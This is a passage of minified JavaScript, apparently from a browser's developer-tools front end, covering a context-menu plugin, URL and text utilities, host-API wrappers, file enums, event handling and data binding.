Error(Object(o.a)("JSPlugin.5017"));let E=function(e){return function(t){let n=t.currentTarget;if(e&&!n.classList.contains("disabled")&&z(n.getAttribute("data-plugin-contextmenu"))){let t;switch(n.getAttribute("data-plugin-contextmenu-item-type")){case"checkbox":t=f.checkbox;break;case"command":t=f.command;break;case"separator":t=f.separator;break;case"radio":t=f.radio;break;default:throw new Error(Object(o.a)("JSPlugin.5008"))}let r={id:n.id,callback:e,label:n.getElementsByClassName("main")[0].innerText,type:t,iconEnabled:n.getElementsByClassName("icon")[0].src,iconDisabled:"",accessKey:n.getElementsByClassName("shortcut")[0].innerText,hidden:function(){return!1},disabled:function(){return!1},checked:function(){return"true"===n.getAttribute("aria-checked")},cssClass:n.className,submenu:null};k().then(function(){e(n.parentNode.id,r,_)})}else P(t)}};this.addDisposableEventListener(n,"click",E(y),!1);this.addDisposableEventListener(n,"contextmenu",E(y),!1);let S=function(e,t,n,o,r,i,a){return function(){"function"==typeof e&&e()?a.classList.add("hidden"):a.classList.remove("hidden");let s;if("function"==typeof t&&t()){a.classList.add("disabled");a.setAttribute("aria-disabled","true");s=r}else{a.classList.remove("disabled");a.removeAttribute("aria-disabled");s=o}let l=a.getElementsByClassName("icon")[0];switch(i){case f.checkbox:a.removeAttribute("aria-checked");if("function"==typeof n&&n()){let e=getComputedStyle(l).getPropertyValue("background-image");e=e.replace(m,function(e,t){return t});l.src=e;a.setAttribute("aria-checked","true");l.style.display="block"}else{a.setAttribute("aria-checked","false");l.style.display="none"}break;case f.command:if(z(s))l.style.display="none";else{if(g.test(s))l.setAttribute("data-plugin-theme-src",s);else{l.src=s;l.removeAttribute("data-plugin-theme-src")}l.style.display="block"}}}},T=e[t].hidden;if(!z(T)&&"function"!=typeof T)throw new Error(Object(o.a)("JSPlugin.5023"));let w=e[t].disabled;if(!z(w)&&"function"!=typeof w)throw new Error(Object(o.a)("JSPlugin.5024"));let x=e[t].checked;if(!z(x)&&"function"!=typeof x)throw new Error(Object(o.a)("JSPlugin.5025"));this.addDisposableEventListener(this,"show",S(T,w,x,e[t].iconEnabled,e[t].iconDisabled,e[t].type,n));let I=e[t].cssClass;if(!z(I)&&"string"!=typeof I)throw new Error(Object(o.a)("JSPlugin.5022"));z(I)||n.classList.add(I);let O=e[t].submenu,L=void 0===O||null===O;if(!L&&!Array.isArray(O))throw new Error(Object(o.a)("JSPlugin.5026"));if(!L){n.setAttribute("aria-expanded","false");n.setAttribute("aria-haspopup","true");let e=U("plugin-contextsubmenu");new A(O,e,null,r,y,this,this.id);let t=document.createElement("div");t.className="arrow";n.setAttribute("data-plugin-contextmenu",e);n.appendChild(t)}let D=function(e){if("none"!==getComputedStyle(e.parentElement).getPropertyValue("display")){let t=e.parentElement.querySelectorAll("[data-plugin-contextmenu]");for(let n=0;n<t.length;n++){let o=t[n];if(o!==e&&void 0!==o.className){o.classList.remove("active");let e=o.getAttribute("data-plugin-contextmenu");(O=document.getElementById(e)).style.display="none"}}}};this.addDisposableEventListener(n,"mouseover",function(e){let t=e.currentTarget;Y(t)?t.focus():D(e.currentTarget);ne(t)},!1);this.addDisposableEventListener(n,"mouseout",X,!1);this.addDisposableEventListener(n,"focus",function(e){D(e.currentTarget)},!1);this.addDisposableEventListener(n,"keydown",oe,!1);switch(e[t].type){case f.checkbox:v.classList.add("checkbox");n.setAttribute("data-plugin-contextmenu-item-type","checkbox");break;case f.command:n.setAttribute("data-plugin-contextmenu-item-type","command");break;case f.radio:throw new Error("Not implemented");case f.separator:s.classList.add("hr");n.setAttribute("data-plugin-contextmenu-item-type","separator");break;default:throw new Error(Object(o.a)("JSPlugin.5008"))}c.appendChild(n)}this.addDisposableEventListener(c,"click",P,!1);this.addDisposableEventListener(c,"contextmenu",P,!1);let h=function(e,t){return function(n){if(t===n.id){if(b){b.focus();setTimeout(()=>{if(v){v.focus();v=null}},0);b=null}else if(v){v.focus();v=null}e.eventManager.dispatchEvent("dismiss");S=Math.max(0,S-1)}}};u.addEventListener("contextmenudismissed",h(this,this.id));y.appendChild(c);C[c.id]=this;this.addDisposableEventListener(c,"keydown",re,!1)}attach(e){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));e.setAttribute("data-plugin-contextmenu",this.id)}detach(e){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));e.getAttribute("data-plugin-contextmenu")===this.id&&e.removeAttribute("data-plugin-contextmenu")}dismiss(){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));S=Math.max(0,S-1);if("none"!==document.getElementById(this.id).style.display){document.getElementById(this.id).style.display="none";if(v){v.focus();v=null}this.eventManager.dispatchEvent("dismiss")}E&&u.dismiss()}dispose(){if(z(this.id))return;this.disposableEventListeners.forEach(e=>{e.uninstall()});this.disposableEventListeners=[];let e=document.querySelectorAll("[data-plugin-contextmenu="+this.id+"]");for(let t=0;t<e.length;t++)e[t].removeAttribute("data-plugin-contextmenu");N(this.id);this.id=null;this.callback=null}show(e,t,n,o){this._show(e,t,n,o,!1)}showWithPopup(e,t,n,o){this._show(e,t,n,o,!0)}_show(e,t,n,r,i=!1){a.a();if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));if(!j(e)||!j(t))throw new Error(Object(o.a)("JSPlugin.5012"));if(!j(n)&&!z(n))throw new Error(Object(o.a)("JSPlugin.5013"));if("string"!=typeof r&&!z(r))throw new Error(Object(o.a)("JSPlugin.5014"));k();_=r;v=document.activeElement;b=Array.prototype.find.apply(parent.document.querySelectorAll("iframe"),[e=>e.contentDocument===document]);let s=n||0,l=document.getElementById(this.id);for(let e=0;e<l.children.length;e++)l.children[e].classList.remove("active");this.eventManager.dispatchEvent("show");B(l);H(l,this.ariaLabel,e,t,0,s,null,W,u.show.bind(u),i)}canShowWithPopup(){return this._canUsePopup}addEventListener(e,t){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));this.eventManager.addEventListener(e,t)}removeEventListener(e,t){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));this.eventManager.removeEventListener(e,t)}dispatchEvent(e){if(z(this.id))throw new Error(Object(o.a)("JSPlugin.5010"));return this.eventManager.dispatchEvent(e.type)}addDisposableEventListener(e,t,n,o){let r=new M(e,t,n,o);r.install();this.disposableEventListeners.push(r)}}function B(e){let t=0,n=e.querySelectorAll(".shortcut");for(let o=0;o<n.length;o++){let r=n[o];e.style.display="block";let i=parseInt(getComputedStyle(r).getPropertyValue("width"));e.style.display="none";t=i>t?i:t}let o=e.querySelectorAll(".main");t+=50;for(let e=0;e<o.length;e++)o[e].style.paddingRight=t+"px"}function N(e){let t=document.getElementById(e);y.removeChild(t);delete C[e];let n=t.querySelectorAll("[data-plugin-contextmenu]");for(let e=0;e<n.length;e++)N(n[e].getAttribute("data-plugin-contextmenu"))}function F(e,t,n,o,r){if(!d){d=!0;h()}return new A(e,t,n,o,r)}function H(e,t,n,o,r,i,a,s,l,c=!1){let u=a||"block";e.style.display=u;let d=e.offsetHeight,h=e.offsetWidth;e.style.display="none";e.style.zIndex="1001";let p=window.pageYOffset,m=window.pageXOffset,g=document.documentElement.clientHeight,f=document.documentElement.clientWidth;c||o>g-d&&(o=g-d);let _={clientCoordinates:{X:n,Y:o},width:h,height:d,viewPortWidth:f,viewPortHeight:g,scrollOffsetLeft:m,scrollOffsetTop:p,elementOffsetTop:r,widthOffset:i};S++;E=c;if(c){l(e.id,t,y,_);return}let v=_;(o+d>g||n+h>f)&&"function"==typeof s&&(v=s(_));e.style.left=v.clientCoordinates.X+m+"px";e.style.top=v.clientCoordinates.Y+p+"px";e.style.display=u;e.setAttribute("tabindex","0");e.focus()}function W(e){let t=e.clientCoordinates.Y,n=e.clientCoordinates.Y-e.height;e.clientCoordinates.Y+e.height>e.viewPortHeight&&n>=0&&(t=n);let o=e.clientCoordinates.X,r=e.clientCoordinates.X-(e.width+e.widthOffset);e.clientCoordinates.X+e.width>e.viewPortWidth&&r>=0&&(o=r);e.clientCoordinates.Y=t;e.clientCoordinates.X=o;return e}function U(e){if(z(e))throw new Error(Object(o.a)("JSPlugin.5009"));function t(e){let t="";for(;t.length<e;)t+=Math.floor(65536*Math.random()).toString(16);return t.substr(0,e)}return e+"-"+t(8)+"-"+t(4)+"-"+t(4)+"-"+t(4)+"-"+t(12)}function z(e){return null===e||void 0===e||""===e}function j(e){return isFinite(e)&&"number"==typeof e}function G(e){let t=e.currentTarget;!t.classList.contains("disabled")&&z(t.getAttribute("data-plugin-contextmenu"))?u.callback(t.id):t.classList.contains("disabled")&&t.focus();P(e)}function V(e){if(!e.classList.contains("active")){u.dismissSubmenus();let t=e.parentNode.querySelectorAll("[data-plugin-contextmenu]");for(let e=0;e<t.length;e++){let n=t[e];n!==this&&n.classList.remove("active")}}}function K(e){if(!e.classList.contains("active")){let t=e.getAttribute("data-plugin-contextmenu");if(null!==t&&void 0!==t){let n=document.getElementById(t);e.classList.add("active");e.setAttribute("aria-expanded","true");B(n);H(n,null,0,0,e.offsetTop,0,null,null,u.show.bind(u))}}}function q(e){let t=e.currentTarget;Y(t)?t.focus():V.call(this,e.currentTarget);K(t)}function X(e){let t=e.currentTarget;t.classList.remove("active");t.blur()}function J(e){V.call(this,e.currentTarget)}function Y(e){let t=e.parentElement.classList.contains("allowDisabledItemNavigation"),n=e.classList.contains("disabled"),o=e.classList.contains("hidden");return(t||!n)&&!o&&e.hasAttribute("tabindex")}function $(e,t,n){let o=0;if(e!==t)for(let t=0;t<n.length;t++){if(n[t]===e){o=t+1;break}}return o}function Z(e,t){let n;for(let o=e-2;o>=0;o--){let e=t[o];if(Y(e)){n=e;break}}if(!n)for(let o=t.length-1;o>e-1;o--){let e=t[o];if(Y(e)){n=e;break}}return n}function Q(e,t){let n;for(let o=e;o<t.length;o++){let e=t[o];if(Y(e)){n=e;break}}if(!n)for(let o=0;o<e-1;o++){let e=t[o];if(Y(e)){n=e;break}}return n}function ee(e,t){E&&u.dismissCurrent(t);let n=!e.hasAttribute("plugin-contextmenu-parent");if(!t||!n){C[e.id].dismiss();n||te(e.getAttribute("plugin-contextmenu-parent"))}}function te(e){let t=document.getElementById(e);t.focus();let n=t.getElementsByClassName("menuitem");for(let e=0;e<n.length;e++){let t=n[e];if(t.classList.contains("active")){t.classList.remove("active");t.focus()}}}function ne(e){if(!e.classList.contains("active")){let t=e.getAttribute("data-plugin-contextmenu");if(null!==t&&void 0!==t){e.classList.add("active");let n=document.getElementById(t);n.style.zIndex=(parseInt(getComputedStyle(e.parentElement).getPropertyValue("z-index"))+1).toString();let o=parseInt(getComputedStyle(e.parentElement).getPropertyValue("width")),r=o+parseInt(getComputedStyle(e.parentElement).getPropertyValue("left"))-window.pageXOffset,i=e.offsetTop+parseInt(getComputedStyle(e.parentElement).getPropertyValue("top"))-window.pageYOffset,a=o-3;B(n);H(n,null,r,i,e.offsetTop,a,null,W,u.show.bind(u))}}}function oe(e){let t=e.target;switch(e.keyCode){case 13:ne(t);t.click();e.preventDefault();e.stopImmediatePropagation();break;case 39:ne(t);e.preventDefault();e.stopImmediatePropagation()}}function re(e){let t,n=e.target,o=e.currentTarget,r=o.getElementsByClassName("menuitem"),i=$(n,o,r);switch(e.keyCode){case 9:t=e.shiftKey?Z(i,r):Q(i,r);e.preventDefault();break;case 18:k();break;case 27:ee(o,!1);e.preventDefault();break;case 35:t=Z(0,r);e.preventDefault();break;case 36:t=Q(0,r);e.preventDefault();break;case 37:ee(o,!0);e.preventDefault();break;case 38:t=Z(i,r);e.preventDefault();break;case 40:t=Q(i,r);e.preventDefault();break;case 93:k();e.preventDefault()}t&&t.focus()}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(36),r=n(0);class i{static loadString(e,...t){1===t.length&&Array.isArray(t[0])&&(t=t[0]);return r.b.apply(this,["/Common/"+e].concat(t))}static scrollIntoView(e,t){if(e&&e.getBoundingClientRect){var n=e.getBoundingClientRect(),o=t.getBoundingClientRect(),r=n.top<o.top,i=n.bottom>o.bottom;if(r||i){e.scrollIntoView(!0);return!0}}return!1}static getSortedObjectProperties(e){var t=[];for(var n in e)t.push(n);t.sort(i.naturalSort);return t}static getSortedArrayProperties(e,t){var n,o=[];for(n=0;n<e.length;n++)o.push({property:e[n][t],realIndex:n});o.sort(function(e,t){return i.naturalSort(e.property,t.property)});var r=[];for(n=0;n<o.length;n++)r.push(o[n].realIndex);return r}static naturalSort(e,t){var n="__"===e.substr(0,2),o="__"===t.substr(0,2);if(n&&!o)return 1;if(!n&&o)return-1;var r=/(\d+)|(\D+)/g,i=String(e).toLocaleLowerCase().match(r),a=String(t).toLocaleLowerCase().match(r);if(!i&&a)return-1;if(i&&!a)return 1;if(!i&&!a)return 0;if(i&&a){for(;i.length>0&&a.length>0;){var s=i.shift()||"",l=a.shift()||"",c=parseInt(s,10),u=parseInt(l,10);if(isNaN(c)&&isNaN(u)){if(s!==l)return s.localeCompare(l)}else{if(isNaN(c))return 1;if(isNaN(u))return-1;if(c!==u)return c-u}}return i.length-a.length}return 0}static createShortenedUrlText(e){if(!e)return e;if(e instanceof o.a){var t=e;if("javascript"===t.scheme)return"javascript:<URI>";var n=t.segments,r=n.pop();r||(r=n.pop());r?t.hostname||"about"!==t.scheme||(r=t.scheme+":"+r):r=t.hostname;return i.tryDecodeURIComponent(r)}var a=e,s="javascript:";if(a.toLowerCase().substr(0,s.length)===s)return"javascript:<URI>";var l=a.indexOf("#"),c=a.indexOf("?"),u=-1;l>-1&&c>-1?u=Math.min(l,c):l>-1?u=l:c>-1&&(u=c);u>-1&&(a=a.substring(0,u));u=Math.max(a.lastIndexOf("/"),a.lastIndexOf("\\"));for(;-1!==u&&u===a.length-1;){a=a.substring(0,a.length-1);u=Math.max(a.lastIndexOf("/"),a.lastIndexOf("\\"))}if(u>-1){a=a.substring(u+1);a=i.tryDecodeURIComponent(a)}return a}static getTruncatedString(e,t=20){if(!e)return e;if(e.length>t){var n=t/2-2;e=e.substr(0,n)+this.loadString("Ellipsis")+e.substr(e.length-n)}return e}static getTruncatedFileName(e,t=20){return i.getTruncatedString(i.createShortenedUrlText(e),t)}static createFileLinkText(e,t,n,o){var r=e?this.getTruncatedFileName(e,o):"";if(t){e&&(r+=" ");r+="("+t;n&&(r+=", "+n);r+=")"}return r}static pathCombine(e,t){var n=/[\/\\]/;return t?this.isAbsoluteUrl(t)||!e?t:"/"===t.charAt(0)&&this.isAbsoluteUrl(e)?this.getRoot(e)+t:e.charAt(e.length-1).match(n)||t.charAt(0).match(n)?e+t:e+((e+t).lastIndexOf("\\")>=0?"\\":"/")+t:e}static getRoot(e){return e.substring(0,e.indexOf("/",e.indexOf("://")+3))}static isAbsoluteUrl(e){return!(!this.isUncPath(e)&&!this.pathStartsWithDriveLetter(e))||!e.match(/^file:\/{2,3}\./i)&&(!!e.match(/^[a-zA-Z][\w\+\-\.]*:/)||this.isDataURI(e))}static makeUrlAbsolute(e,t){let n="";const o=Math.max(e.lastIndexOf("/"),e.lastIndexOf("\\"));o>=0&&(n=e.substr(0,o+1));return i.pathCombine(n,i.truncateProtocolFromUrl(t))}static isUncPath(e){return!!e.match(/^\\\\/)}static pathStartsWithDriveLetter(e){return!!e.match(/^[A-Za-z]:/)}static isFileURI(e){return e.length>5&&"file:"===e.substr(0,5).toLocaleLowerCase()}static isDataURI(e){return e.length>5&&"data:"===e.substr(0,5).toLocaleLowerCase()}static addFileProtocolIfNeeded(e){!i.pathStartsWithDriveLetter(e)&&!i.isUncPath(e)||i.isFileURI(e)||(e="file:///"+e);return e}static truncateProtocolFromUrl(e){return e.replace(/^[a-zAZ][\w\+\-\.]*:(\/\/)?/g,"")}static parseBase64DataUriContent(e){if(!i.isDataURI(e)||-1===e.indexOf("base64,"))return null;try{return window.atob(e.substr(e.indexOf("base64,")+7))}catch(e){return null}}static parseDataUriMimeType(e){if(i.isDataURI(e)&&-1!==e.indexOf(";"))return e.substring(5,e.indexOf(";"))}static hasSelectedText(){return!!window.getSelection().toString()}static getSelectedText(){return window.getSelection().toString()}static getTextForClipboard(){var e=window.getSelection().toString();e&&(e=e.replace(/[\r\n]+/g,"\r\n"));return e}static isDarkThemeBackground(e){if(e){for(var t;(!t||"transparent"===t)&&e&&e.length>0;){t=e.css("background-color");e=e.parent()}if(t){var n=t.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);if(n&&4===n.length){return(299*parseInt(n[1],10)+587*parseInt(n[2],10)+114*parseInt(n[3],10))/1e3<127}}}return!1}static isContextMenuUp(){return i.ContextMenuIsUp}static contextMenuUp(e){i.ContextMenuIsUp=e}static nodeInDocument(e,t=document){if(e)for(;e=e.parentNode;)if(e===t)return!0;return!1}static isFocusGood(){var e=document.querySelector(":focus");return e&&"BODY"!==e.tagName}static fireCustomEvent(e,t){var n=document.createEvent("CustomEvent");n.initEvent(t,!0,!0);e.dispatchEvent(n)}static getExtension(e){if(!e)return"";var t=(e=this.createShortenedUrlText(e)).lastIndexOf(".");return t<0?"":e.substr(t).toLowerCase()}static guessMimeTypeFromUrlExtension(e){switch(this.getExtension(e)){case".html":case".htm":return"text/html";case".xml":case".svg":return"text/xml";case".ts":return"text/typescript";case".js":return"text/javascript";case".css":return"text/css";case".less":return"text/less";case".sass":case".scss":return"text/scss";case".coffee":return"text/coffeescript";case".cs":return"text/x-csharp";default:return"text/plain"}}static isNumber(e){return"number"==typeof e&&!isNaN(e)}static stringEndsWith(e,t){return null!==e&&"string"==typeof e&&(null!==t&&"string"==typeof t&&e.indexOf(t,e.length-t.length)>=0)}static stringStartsWith(e,t){return null!==e&&"string"==typeof e&&(null!==t&&"string"==typeof t&&e.slice(0,t.length)===t)}static replaceTextInRange(e,t,n,o){return e.substring(0,t)+o+e.substring(n,e.length)}static mirrorInputElementOffScreen(e){var t=document.createElement("div");t.id="toolwindow-offScreenMirrorElement";document.body.appendChild(t);var n=window.getComputedStyle(e);for(var o in i.TextSizingProps){var r=i.TextSizingProps[o];n[r]&&(t.style[r]=n[r])}t.style.visibility="hidden";t.style.position="absolute";t.style.left="-10000px";t.style.whiteSpace="pre-wrap";t.textContent=e.value||".";return t}static getCharScreenPosition(e,t){var n=i.mirrorInputElementOffScreen(e),o=n.childNodes[0],r=document.createRange();r.setStart(o,t);r.setEnd(o,t);var a=r.getBoundingClientRect(),s=n.getBoundingClientRect(),l=e.getBoundingClientRect();n.parentElement&&n.parentElement.removeChild(n);return{left:a.left-s.left+l.left,right:a.right-s.left+l.left,top:a.top-s.top+l.top,bottom:a.bottom-s.bottom+l.bottom,width:a.width,height:a.height}}static tryDecodeURIComponent(e){try{return decodeURIComponent(e)}catch(t){return e}}static tryEncodeURIComponent(e){try{return encodeURIComponent(e)}catch(t){return e}}static tryEncodeURI(e){try{return encodeURI(e)}catch(t){return e}}static getSelection(e){var t=0,n=0;try{t=e.selectionStart}catch(e){}try{n=e.selectionEnd}catch(e){}return{start:t,end:n}}}i.ContextMenuIsUp=!1;i.TextSizingProps=["boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize"];i.CodeMarkers={perfBrowserTools_DiagnosticsToolWindowsConsoleReady:23609,perfBrowserTools_DiagnosticsToolWindowsDomExplorerReady:23610,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectBegin:23611,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectEnd:23612,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectInteractive:23613,perfBrowserTools_DiagnosticsToolWindowsConsoleEvalBegin:23614,perfBrowserTools_DiagnosticsToolWindowsConsoleEvalEnd:23615,perfBrowserTools_DiagnosticsToolWindowsDataTreeToggleBegin:23616,perfBrowserTools_DiagnosticsToolWindowsDataTreeToggleEnd:23617,perfBrowserTools_DiagnosticsToolWindowsTreeViewToggleBegin:23618,perfBrowserTools_DiagnosticsToolWindowsTreeViewToggleEnd:23619,perfBrowserTools_DiagnosticsToolWindowsDomExplorerRefreshBegin:23620,perfBrowserTools_DiagnosticsToolWindowsDomExplorerRefreshEnd:23621,perfBrowserTools_DiagnosticsToolWindowsDomExplorerAttributeChanged:23622,perfBrowserTools_DiagnosticsToolWindowsDomExplorerTabChanged:23623,perfBrowserTools_DiagnosticsToolWindowsNetworkExplorerReady:23624};i.AreCodeMarkersEnabled=!1},function(e,t,n){"use strict";n.d(t,"y",function(){return i});n.d(t,"z",function(){return a});n.d(t,"b",function(){return s});n.d(t,"w",function(){return l});n.d(t,"x",function(){return c});n.d(t,"t",function(){return u});n.d(t,"l",function(){return d});n.d(t,"e",function(){return h});n.d(t,"f",function(){return p});n.d(t,"g",function(){return m});n.d(t,"i",function(){return g});n.d(t,"E",function(){return f});n.d(t,"r",function(){return _});n.d(t,"p",function(){return v});n.d(t,"q",function(){return b});n.d(t,"o",function(){return C});n.d(t,"D",function(){return y});n.d(t,"s",function(){return E});n.d(t,"a",function(){return S});n.d(t,"A",function(){return T});n.d(t,"B",function(){return w});n.d(t,"d",function(){return k});n.d(t,"n",function(){return x});n.d(t,"h",function(){return I});n.d(t,"j",function(){return O});n.d(t,"k",function(){return L});n.d(t,"c",function(){return D});n.d(t,"C",function(){return R});n.d(t,"u",function(){return P});n.d(t,"v",function(){return M});n.d(t,"m",function(){return A});var o=n(5),r=n(6);const i=Number(frameElement&&frameElement.id),a=r.c[i],s=o.b.activePluginId,l=(o.b.launchPluginId,o.b.isTargetEdge),c=(o.b.traceWriter,o.b.launchMode),u=o.b.hostType,d=e=>o.b.storage.getFilePathFromStreamId(e),h=e=>{o.b.bringToolToForeground(e)},p=()=>{o.b.bringRemoteToForeground()},m=async(e,t)=>{o.b.storage.copyFileToStreamAsync?await o.b.storage.copyFileToStreamAsync(e,t):o.b.storage.copyFileToStream(e,t)},g=()=>o.b.utilities.getDoubleClickTime(),f=(e,t)=>{try{o.b.utilities.setRegEntryForF12(e,t)}catch(e){}},_=(e,t)=>{try{return o.b.utilities.getRegEntryForF12(e)}catch(e){return t||""}},v=()=>o.b.utilities.getQpcFrequency(),b=()=>o.b.utilities.getQpcTime(),C=()=>o.b.inspectElementId,y=e=>{o.b.inspectElementId=e},E=()=>o.b.getViewSourceUrl(),S=e=>{o.b.activateTab(e)},T=e=>{o.b.notifyOnToolActivated(e)},w=e=>{o.b.openBrowser(e)},k=(e,t,n,r)=>{o.b.attachToServiceWorker(e,t,n,r)},x=()=>o.b.hostInfo,I=e=>{o.b.storage.deleteFile(e)},O=e=>o.b.utilities.getEnvironmentVariable(e),L=()=>o.b.utilities.getF12RootPath(),D=(e,t)=>o.b.addEventListener(e,t),R=(e,t)=>o.b.removeEventListener(e,t),P=()=>i===o.b.activePluginId;function M(){return o.b.utilities.isHighContrast()}function A(){return o.b.utilities.getHighContrastReplacements()}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"c",function(){return r});n.d(t,"e",function(){return i});n.d(t,"f",function(){return a});n.d(t,"d",function(){return s});n.d(t,"b",function(){return c});n.d(t,"g",function(){return d});var o,r,i,a,s,l,c,u,d;!function(e){e[e.read=1]="read";e[e.write=2]="write";e[e.readWrite=3]="readWrite"}(o||(o={}));!function(e){e[e.createNew=1]="createNew";e[e.create=2]="create";e[e.open=3]="open";e[e.openOrCreate=4]="openOrCreate";e[e.truncate=5]="truncate";e[e.append=6]="append"}(r||(r={}));!function(e){e[e.none=0]="none";e[e.read=1]="read";e[e.write=2]="write";e[e.readWrite=3]="readWrite";e[e.delete=4]="delete"}(i||(i={}));!function(e){e[e.binary=0]="binary";e[e.text=1]="text"}(a||(a={}));!function(e){e[e.permanent=0]="permanent";e[e.temporary=1]="temporary"}(s||(s={}));!function(e){e[e.Local=2]="Local";e[e.Host=3]="Host"}(l||(l={}));!function(e){e[e.open=0]="open";e[e.save=1]="save"}(c||(c={}));!function(e){e[e.begin=0]="begin";e[e.current=1]="current";e[e.end=2]="end"}(u||(u={}));!function(e){e[e.connected=0]="connected";e[e.disconnected=1]="disconnected";e[e.closed=2]="closed"}(d||(d={}))},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(4),r=n(17);class i{constructor(){this._handlers=null;this._eventsRunning=0}addHandler(e){o.a.isTrue("function"==typeof e,"handler must be function");this._handlers||(this._handlers=[]);this._handlers.push(e);return{unregister:()=>this.removeHandler(e)}}addOne(e){var t=this.addHandler(n=>{t.unregister();e(n)});return t}removeHandler(e){for(var t=this._handlers.length;t--;)if(this._handlers[t]===e){this._eventsRunning>0?this._handlers[t]=null:this._handlers.splice(t,1);return}}invoke(e,t){if(this._handlers){this._eventsRunning++;for(var n=0;n<this._handlers.length;n++)this._handlers[n]&&this._handlers[n](e,t);this._eventsRunning--;0===this._eventsRunning&&this.cleanupNullHandlers()}}invokeAsync(e){if(this._handlers){this._eventsRunning++;for(var t=[],n=0;n<this._handlers.length;n++){var o=this._handlers[n]&&this._handlers[n](e);o&&o.then&&t.push(o)}this._eventsRunning--;0===this._eventsRunning&&this.cleanupNullHandlers();return Promise.all(t)}return r.a}cleanupNullHandlers(){for(var e=this._handlers.length-1;e>=0;e--)this._handlers[e]||this._handlers.splice(e,1)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"b",function(){return r});var o;!function(e){e[e.On=0]="On";e[e.Off=1]="Off";e[e.Disabled=2]="Disabled"}(o||(o={}));const r="BKP:notfound:"},function(e,t,n){"use strict";n.d(t,"a",function(){return o});const o=Promise.resolve()},function(e,t,n){"use strict";n.d(t,"h",function(){return o});n.d(t,"k",function(){return r});n.d(t,"g",function(){return i});n.d(t,"l",function(){return a});n.d(t,"i",function(){return s});n.d(t,"c",function(){return l});n.d(t,"f",function(){return c});n.d(t,"d",function(){return u});n.d(t,"e",function(){return d});n.d(t,"a",function(){return h});n.d(t,"b",function(){return p});n.d(t,"j",function(){return m});class o{}o.C="c";o.DEL="Del";o.DOWN="ArrowDown";o.END="End";o.ENTER="Enter";o.F10="F10";o.HOME="Home";o.LEFT="ArrowLeft";o.RIGHT="ArrowRight";o.SPACEBAR="Spacebar";o.UP="ArrowUp";function r(){document.addEventListener("keydown",e=>a(e));document.addEventListener("contextmenu",e=>{e.preventDefault();e.stopPropagation();return!1});window.addEventListener("mousewheel",e=>{if(e.ctrlKey){e.preventDefault();e.stopPropagation()}})}function i(e){return e.shiftKey||e.ctrlKey||e.altKey}function a(e){if(116===e.keyCode||121===e.keyCode&&e.shiftKey||70===e.keyCode&&e.ctrlKey&&!e.altKey){e.preventDefault();e.stopPropagation()}}const s=e=>!(e.ctrlKey||e.altKey||e.shiftKey),l=e=>e.ctrlKey&&!e.altKey&&!e.shiftKey,c=e=>e.ctrlKey&&e.shiftKey&&!e.altKey,u=e=>e.ctrlKey&&e.altKey&&!e.shiftKey,d=e=>e.ctrlKey&&e.altKey&&e.shiftKey,h=e=>e.altKey&&!e.ctrlKey&&!e.shiftKey,p=e=>e.altKey&&e.shiftKey&&!e.ctrlKey,m=e=>e.shiftKey&&!e.altKey&&!e.ctrlKey},function(e,t,n){"use strict";var o=n(8),r=n(4),i=n(102),a=n(15),s=n(78);class l{constructor(e){this._bindings=l.bind(e)}findBinding(e,t){var n;if(this._bindings)for(var o=0;o<this._bindings.length;o++){var r=this._bindings[o];if(r.isForDestination(e,t)){n=r;break}}return n}unbind(){if(this._bindings)for(var e=0;e<this._bindings.length;e++)this._bindings[e].unbind();this._bindings=null}static buildBindingCommand(e,t,n,o,s){var c=i.g;if(e===t){if(n.substr(0,l.STYLE_PREFIX.length)===l.STYLE_PREFIX){e=t.style;n=n.substr(l.STYLE_PREFIX.length)}else if(n.substr(0,l.ATTRIBUTE_PREFIX.length)===l.ATTRIBUTE_PREFIX){n=n.substr(l.ATTRIBUTE_PREFIX.length);c=i.f}else if(n.substr(0,l.CONTROL_PREFIX.length)===l.CONTROL_PREFIX){e=t.control;n=n.substr(l.CONTROL_PREFIX.length)}}else n===E.ModelPropertyName&&(c=i.e);if(n.substr(0,l.CLASS_PREFIX.length)===l.CLASS_PREFIX){e=t;n=n.substr(l.CLASS_PREFIX.length);c=i.d}else n.substr(0,l.EVENT_PREFIX.length)===l.EVENT_PREFIX&&(e[n=n.substr(l.EVENT_PREFIX.length)]instanceof a.a?c=new i.a:void 0!==(e=t)["on"+n]&&e.addEventListener&&e.removeEventListener?c=new i.b:r.a.fail("Trying to bind an event but the target doesn't seem to carry that event. Event name: "+n));return{target:e,targetAccess:c,targetName:n,source:o,value:s}}static extractBindingCommandsForBinding(e,t,n,o,i){for(var a=o.split(","),s=a.length,c=0;c<s;c++){var u=a[c],d=u.split(":",2);r.a.areEqual(d.length,2,"Invalid binding syntax, the keyvalue pair should have the syntax target:source '"+u+"'.");var h=d[0].trim(),p=d[1].trim(),m=l.parseSourceSyntax(p);i||(m.name=l.MODEL_PREFIX+m.name);var g=l.buildBindingCommand(t,n,h,m,null);r.a.isTrue(!!g.targetName,"Invalid binding syntax. Target name is missing '"+u+"'.");e.push(g)}}static extractBindingCommandsForOptions(e,t,n,o){for(var i=o.split(","),a=i.length,s=0;s<a;s++){var c=i[s],u=c.split(":",2);r.a.areEqual(u.length,2,"Invalid options syntax, the keyvalue pair should have the syntax target:source '"+c+"'.");var d=u[0].trim(),h=u[1].trim(),p=l.parseSourceSyntax(h),m=p.name;p.converter&&p.converter.convertTo&&(m=p.converter.convertTo(m));var g=l.buildBindingCommand(t,n,d,null,m);r.a.isTrue(!!g.targetName,"Invalid option syntax. Target name is missing '"+c+"'.");e.push(g)}}static getBindingCommands(e){var 